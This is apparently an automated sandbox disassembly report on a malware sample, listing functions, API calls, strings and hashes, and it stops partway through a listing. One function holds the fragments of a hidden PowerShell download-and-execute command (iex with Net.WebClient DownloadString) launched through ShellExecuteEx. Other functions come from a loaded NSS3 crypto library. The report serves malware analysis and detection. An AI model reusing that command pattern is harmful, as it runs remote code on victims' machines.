Instruction ID: 56bd16fc9bcf92c18956b4b249a59c76870f8c01999fa8d2962da2cd55bb9a52
Opcode Fuzzy Hash: 3fc5a8dedeb49d1d19b08a8b2b74cc72c2b475cc3767d007be69e7bc9d832ffb
Instruction Fuzzy Hash: C571D874A04109DFDB04CF48C494BAAB7B1FF88305F158179E84AAF395C739AA91CF95

Function 00412EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

ShellExecuteEx.SHELL32(0000003C), ref: 00412FD5

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412F14
<, xrefs: 00412F89
')", xrefs: 00412F03
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412F54

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: ceff6c1b0c5b41120544c3d3be6942fd96f27d98ecc1bbdb5468e056c7fe4573
Instruction ID: fa4238ec13a9909d2a06eabaeedbec9afd3c4d5d27ba3f2f176ac5e057c61c04
Opcode Fuzzy Hash: ceff6c1b0c5b41120544c3d3be6942fd96f27d98ecc1bbdb5468e056c7fe4573
Instruction Fuzzy Hash: DB415E70E011089ADB04EFA1D866BEDBB79AF10314F40445EF10277196EF782AD9CF99

Function 6C6BBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C6BBE02

Part of subcall function 6C7E9C40: memcmp.VCRUNTIME140(?,00000000,6C6BC52B), ref: 6C7E9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6BBE9F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6BBE89
%s at line %d of [%.10s], xrefs: 6C6BBE98
database corruption, xrefs: 6C6BBE93

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: f0f2d6b2fd956c71051d9daed8c0ba37b0f1e265443a073bdb16b4720e2e0f43
Instruction ID: 0b3cfef4f3cb9d407597ca1480a741f3d775cd6c3eb0d38b9a78397cad5b8e06
Opcode Fuzzy Hash: f0f2d6b2fd956c71051d9daed8c0ba37b0f1e265443a073bdb16b4720e2e0f43
Instruction Fuzzy Hash: 89313971B042568BC700CF29C8D4AABBBA1AF85354B098554FE543BB61D370EC27C7D4

Function 6C720DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C720BDE), ref: 6C720DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C720BDE), ref: 6C720DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C720BDE), ref: 6C720DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C720BDE), ref: 6C720E32

Strings

%s incr => %d (find lib), xrefs: 6C720E2D

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: f563f12f8d07e5b32cda6aacf332217b319fed7067ef95a6fa980da2c88a4895
Instruction ID: 3ca489268b52626ae2788329cb4ba7ff91852952b1b8138b6e5c2b2f66645045
Opcode Fuzzy Hash: f563f12f8d07e5b32cda6aacf332217b319fed7067ef95a6fa980da2c88a4895
Instruction Fuzzy Hash: C801B172A00214AFE730AE299D49E17B3ADDB45A09B05487DE909E3A41E761EC54C7F1

Function 6C7DAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]|l,00000000,?,?,6C7B6AC6,?), ref: 6C7DAC2D

Part of subcall function 6C77ADC0: TlsGetValue.KERNEL32(?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AE10
Part of subcall function 6C77ADC0: EnterCriticalSection.KERNEL32(?,?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AE24
Part of subcall function 6C77ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C75D079,00000000,00000001), ref: 6C77AE5A
Part of subcall function 6C77ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AE6F
Part of subcall function 6C77ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AE7F
Part of subcall function 6C77ADC0: TlsGetValue.KERNEL32(?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AEB1
Part of subcall function 6C77ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C75CDBB,?,6C75D079,00000000,00000001), ref: 6C77AEC9

PK11_FreeSymKey.NSS3(?,@]|l,00000000,?,?,6C7B6AC6,?), ref: 6C7DAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]|l,00000000,?,?,6C7B6AC6,?), ref: 6C7DAC59
free.MOZGLUE(8CB6FF01,6C7B6AC6,?,?,?,?,?,?,?,?,?,?,6C7C5D40,00000000,?,6C7CAAD4), ref: 6C7DAC62

Strings

@]|l, xrefs: 6C7DAC05

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]|l
API String ID: 1595327144-431628619
Opcode ID: ff80c05fbcae5d7416a0ffe54813b5c90edccd62dfae26be1aa10f7456805c3a
Instruction ID: c958bb82e15b52c9944cffcac75d44cd241d3c6b730d77bb046f62292b8f9e9a
Opcode Fuzzy Hash: ff80c05fbcae5d7416a0ffe54813b5c90edccd62dfae26be1aa10f7456805c3a
Instruction Fuzzy Hash: 770178B56012049FEF10CF18EAC4B4677A8BB04B28F188078E9098F706D734F808CBB2

Function 6C6C9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C6C9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C6C9D45
EnterCriticalSection.KERNEL32(?), ref: 6C6C9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C6C9DDE

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 5c8fd7599c9b6ca32bb7dfd4137b38ae41d1792ad71c9b2a4a6a88691018f852
Instruction ID: bc0250a7e4d527f1a72c1e162afd5fd2ae568781629a6d3155862aa80f29b207
Opcode Fuzzy Hash: 5c8fd7599c9b6ca32bb7dfd4137b38ae41d1792ad71c9b2a4a6a88691018f852
Instruction Fuzzy Hash: 7EA19B357055008BEB28AF28D98866A3775FB8770DF18053DE4264BE41DB3AA846CBD7

Function 6C751E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C751ECC

Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F90AB
Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F90C9
Part of subcall function 6C7F9090: EnterCriticalSection.KERNEL32 ref: 6C7F90E5
Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F9116
Part of subcall function 6C7F9090: LeaveCriticalSection.KERNEL32 ref: 6C7F913F

TlsGetValue.KERNEL32 ref: 6C751EDF
EnterCriticalSection.KERNEL32(?), ref: 6C751EEF
PR_ExitMonitor.NSS3(?), ref: 6C751F37
PR_Unlock.NSS3(?), ref: 6C751F44

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 1bb46b423ad6d5b8a02a5b8fcd741df6b225127efcd97b2ba40e69ea652215de
Instruction ID: 1a41443167cc9433433878ef2c6dbab377d7e1c9be49cc3899d94dc19d3121fc
Opcode Fuzzy Hash: 1bb46b423ad6d5b8a02a5b8fcd741df6b225127efcd97b2ba40e69ea652215de
Instruction Fuzzy Hash: 1571E1719053019FD700CF24DA44A4AB7F5FF88358F548929E8A893B51EB32F968CBD2

Function 6C7DDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7DDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C7DDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C7DDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C7DDE77

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: d8a3b3c9c9d6b67b1ce6fc36e611c528ba2c2e505d83bc179012d75f2522f980
Instruction ID: c3efcd6a42c88c8aa1e35c0694fec7c1bc9e5a8fdcbb0c1dcb59fccd87e4e4ed
Opcode Fuzzy Hash: d8a3b3c9c9d6b67b1ce6fc36e611c528ba2c2e505d83bc179012d75f2522f980
Instruction Fuzzy Hash: D5717771A00315CFCB20CF5AC684A99B7B4BF69718F26817ED8586BB06D770B905CFA0

Function 00410FC0 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410FE8
strtok_s.MSVCRT ref: 0041112D

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02F6B968,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 77d8088bb27251dd49dfcd07a26e8087964298c25f1e83629a7bc62193e0fc7a
Instruction ID: 03db8a1056b7d3decc043d16849240f9eafe82692520a9407f7f8401fd2e2a69
Opcode Fuzzy Hash: 77d8088bb27251dd49dfcd07a26e8087964298c25f1e83629a7bc62193e0fc7a
Instruction Fuzzy Hash: EF515E75A0410AEFCB08CF54D595AEEBBB5FF48308F10805EE9029B361D734EA91CB95

Function 6C72EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C72EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C72EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C72EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C72EEEB
free.MOZGLUE(?), ref: 6C72EEF6

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 1143fc18e93d94643ef10568f1683fd0ffb3acd7e827bcedb81b5962287ad142
Instruction ID: 18bd167fb3162d21e5890644e8077355713d24d5bb56055919edc8a726fba70d
Opcode Fuzzy Hash: 1143fc18e93d94643ef10568f1683fd0ffb3acd7e827bcedb81b5962287ad142
Instruction Fuzzy Hash: 0431F7B1E002049BF7209F3CCD447667BB8FB4631AF140638E85A87A51D739E814C7D1

Function 6C731DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C731E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C731E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C731E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C731E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C731EAD

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: afca264aec80b6d3497e3e80a1d148fd915880c71dc6b6081b4aa2fc9b78d616
Instruction ID: b93bae7d66381d2f9015bb6026f67c3c0c393035c19e23b540a90f3c5341550b
Opcode Fuzzy Hash: afca264aec80b6d3497e3e80a1d148fd915880c71dc6b6081b4aa2fc9b78d616
Instruction Fuzzy Hash: FE213772E44320A7D7008E68DE48F8B7398DB8576AF158638ED5D577C2E732E90887D2

Function 6C78BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C73E708,00000000,00000000,00000004,00000000), ref: 6C78BE6A

Part of subcall function 6C790840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7908B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7404DC,?), ref: 6C78BE7E

Part of subcall function 6C78FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C788D2D,?,00000000,?), ref: 6C78FB85
Part of subcall function 6C78FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C78FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C78BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7404DC,?,?), ref: 6C78BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C78BEEB

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 862db92eff75681c350454ee4ed5c5998878e2a243c2a6867b9e0ca14d86fdc8
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: D5112366A062066BE700C96AAF88F6B776D9B80758F044135FF05D7B52E731F80887F1

Function 6C73AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C733FFF,00000000,?,?,?,?,?,6C731A1C,00000000,00000000), ref: 6C73ADA7

Part of subcall function 6C7914C0: TlsGetValue.KERNEL32 ref: 6C7914E0
Part of subcall function 6C7914C0: EnterCriticalSection.KERNEL32 ref: 6C7914F5
Part of subcall function 6C7914C0: PR_Unlock.NSS3 ref: 6C79150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C733FFF,00000000,?,?,?,?,?,6C731A1C,00000000,00000000), ref: 6C73ADB4

Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C7910F3
Part of subcall function 6C7910C0: EnterCriticalSection.KERNEL32(?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79110C
Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791141
Part of subcall function 6C7910C0: PR_Unlock.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791182
Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C733FFF,?,?,?,?,6C733FFF,00000000,?,?,?,?,?,6C731A1C,00000000), ref: 6C73ADD5

Part of subcall function 6C78FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C788D2D,?,00000000,?), ref: 6C78FB85
Part of subcall function 6C78FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C78FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C8594B0,?,?,?,?,?,?,?,?,6C733FFF,00000000,?), ref: 6C73ADEC

Part of subcall function 6C78B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8618D0,?), ref: 6C78B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C733FFF), ref: 6C73AE3C

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 84f185f43031d0f7ababb861a17de5807ea757fbbe478823725653c06d2c0807
Instruction ID: d85eabe241349d2819c2af012606b2135fa6ef4c20c17bd5f91a6be445cf7dff
Opcode Fuzzy Hash: 84f185f43031d0f7ababb861a17de5807ea757fbbe478823725653c06d2c0807
Instruction Fuzzy Hash: 7D117B71E002155BEB109BA5AE4ABBF73ACDF5525CF044538EC1986742F720F968C2E2

Function 00416BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(004210F4,?,?,00416DB1,00000000,?,02F6B968,?,004210F4,?,00000000,?), ref: 00416C0C
sscanf.NTDLL ref: 00416C39
SystemTimeToFileTime.KERNEL32(004210F4,00000000,?,?,?,?,?,?,?,?,?,?,?,02F6B968,?,004210F4), ref: 00416C52
